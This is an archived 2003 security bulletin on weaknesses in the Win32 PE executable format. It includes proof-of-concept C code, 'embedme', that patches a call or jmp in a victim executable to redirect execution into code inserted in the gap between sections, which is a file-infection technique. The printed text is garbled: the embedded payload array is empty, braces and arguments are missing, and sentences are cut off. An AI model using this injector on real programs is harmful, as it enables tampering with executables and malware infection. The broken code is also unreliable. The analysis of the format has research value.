10th Apr 2003 [SBWID-6129]
	Portable  Executable  (PE)  File   Format   For   Win32   analysis   and
	Exurity  Inc.  [http://members.rogers.com/exurity/]  posted   following,
	about  an  analysis  and  a  proof  of  concept  of   PE   file   format
	This article illustrates the following vulnerabilities  or  features  of
	PE file for Win32 Architecture.
	, The explicit linking of  Dynamic  Link  Library  executables  into  a
	process, especially the GetProcAddress and  LoadLibrary  API  functions,
	has far more consequences than it facilitates normal program  developers
	the flexibility in linking to their libraries dynamically.
	, The  intact  PE  header  information,  including  import  and  export
	library info, left in RAM for a process provides the strong  "vines"  to
	be followed up  for  GetProcAddress  and  Kernel32ModuleBase  from  many
	climbing points.
	, The virtual address  gap  between  two  sequential  sections  of  one
	executable, either .exe or .dll, is wide enough to harbor  a  few  "mice
	that carry elephants with them through the gap".
	, Lack of checking, or weak checking mechanism, for  the  integrity  of
	executables  on  the  operating  system  during  the   preparation   for
	launching executables enables the modification of executable  files  and
	and execution of  mobile  code  relatively  easy.  It  seems  a  lot  of
	components fail to detect the modification of executables at all.
	, Executables, once compiled, linked and delivered,  are  prone  to  be
	modified by other programs  and  most  of  them  do  not  have  run-time
	self-protection  mechanism  implemented.  This  weakness  is  not   only
	limited to Win32 application programs. Many executable files  for  other
	operating systems fail to check on themselves  during  the  run-time  as
	Article is available at:
	 Sample program included code
	    To use this proof-of-concept code, you compile it into an executable after
	    you copy the content into a Visual C/C++ project. Then, you have to manually
	    figure out the following values when you run the executable for the victim
	    executable image:
	?	The source relative virtual address (RVA) and its file offset to allow the
	    call/jmp replacment;
	?	The destination RVA and its file offset to embed the code at. Enough space
	    has to be found for the embedded code of 0x109 bytes.
	?	For a jmp replacement, the original opcodes at the source RVA has to be
	    five bytes with multiple execution units. Otherwise, the movement of 5
	    bytes opcodes from the source RVA into the embedded code will lead to
	    unknown results.
	?	In theory, you have to grow the virtual space for the section where the 
	    embedded code will be inserted. Actually, you do not really have to.
	    Peter Huang
	#include <windows.h>
	#include <stdio.h>
	#include <stdlib.h>
	#define     EMBEDME_REPLACE_OFST       0xFC
	#define     EMBEDME_JMP_OFST           0x105
	char embedded[] =
	void EmbedMe(unsigned char * pImage, 
	             DWORD srcRva,
	             DWORD srcOfst,
	             DWORD targetRva,
	             DWORD targetOfst,
	             BOOL call)
	    unsigned char * pTarget = pImage + targetOfst;
	    unsigned char * pSrc = pImage + srcOfst;
	    if ( call )
	        pSrc[0] = 0xE8;         // call
	        * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = 
	                        ( ( * (DWORD * ) (pSrc + 1) ) + srcRva + 5 
	                        - ( targetRva + EMBEDME_JMP_OFST + 4));
	        * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
	        memcpy(embedded + EMBEDME_REPLACE_OFST, pSrc, 5 );
	        pSrc[0] = 0xE9;         // jmp
	        * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
	        * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = 
	            ( srcRva + 5 - (targetRva + EMBEDME_JMP_OFST + 4 ) );
	    memcpy(pTarget, embedded, sizeof(embedded) );
	int main(int argc, char* argv[])
	    // embedme -c va filename
	    // embedme -j va filename
	    HANDLE fHandle;    
	    unsigned char * pImage;
	    BOOL call = TRUE;
	    DWORD srcRva, srcOfst, targetRva, targetOfst, fileLow, fileHigh;
	    if ( argc != 7 )
	        printf("Please notice the following numbers in hex as well as RVA\n"
				   "To embed the embedded as a callable\n"
	               "    embedme -c SrcRva FileOfst TargetRva TargetOfst filename\n"
	               "To embed the embedded as a jumpable\n"
	               "    embedme -j SrcRva FileOfst TargetRva TargetOfst filename\n");
	        return 1;
	    if ( strcmp(argv[1], "-c") != 0 )
	        call = FALSE;
	    sscanf(argv[2], "%x", &srcRva);
	    sscanf(argv[3], "%x", &srcOfst);
	    sscanf(argv[4], "%x", &targetRva);
	    sscanf(argv[5], "%x", &targetOfst);
	    fHandle = CreateFile(argv[6],
	                         GENERIC_READ | GENERIC_WRITE,
	                         NULL );
	    if ( fHandle == INVALID_HANDLE_VALUE )
	        printf("Failed to open file %s for error %d\n", argv[6], GetLastError() );
	        return 2;
	    fileLow = GetFileSize(fHandle, & fileHigh);
	    if ( fileHigh || ( fileLow == 0 ) )
	        printf("File is either too big or empty\n", argv[6]);
	        return 3;
	    pImage = (unsigned char *) malloc(fileLow);
	    if ( pImage == NULL )
	        printf("Run out of memory so early?\n");
	        return 4;
	    if ( ReadFile(fHandle, pImage, fileLow, &fileHigh, NULL ) &&
	         ( fileLow == fileHigh) )
	        SetFilePointer(fHandle, 0, NULL, FILE_BEGIN);   // reset it for writing
	        EmbedMe(pImage, srcRva, srcOfst, targetRva, targetOfst, call);
	        if ( ! WriteFile(fHandle, pImage, fileLow, &fileHigh, NULL ) ||
	             ( fileLow != fileHigh ) )
	            printf("Failed to write to file %s for error %d\n", 
	                   argv[6], GetLastError() );
	        printf("Failed to read from file %s for error %d\n", 
	               argv[6], GetLastError() );
	    return 0;